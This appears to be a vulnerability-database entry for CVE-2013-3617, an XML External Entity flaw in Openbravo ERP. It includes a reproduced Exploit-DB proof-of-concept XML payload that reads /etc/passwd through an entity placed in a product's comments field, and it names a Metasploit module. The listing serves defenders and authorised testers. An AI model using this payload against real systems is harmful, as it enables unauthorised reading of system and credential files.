CVE-2013-3617

low

Published 2013-11-02 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

4.5

Description

The XML API in Openbravo ERP 2.5, 3.0, and earlier allows remote authenticated users to read arbitrary files via an XML document with an external entity declaration in conjunction with an entity reference to /ws/dal/ADUser or other /ws/dal/XXX interfaces, related to an XML External Entity (XXE) issue.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38818 remote multiple verified text · 1 KB

Tod Beardsley · 2013-10-30

Openbravo ERP - XML External Entity Information Disclosure

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/63431/info

Openbravo ERP is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

Openbravo ERP 2.5 and 3.0 are vulnerable. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo>

Metasploit modules

auxiliary_admin/http/openbravo_xxe rank 300

Openbravo ERP XXE Arbitrary File Read

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions
openbravo	openbravo_erp	`{"endIncluding":"3.0"}`
openbravo	openbravo_erp	`2.40`
openbravo	openbravo_erp	`2.50`

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.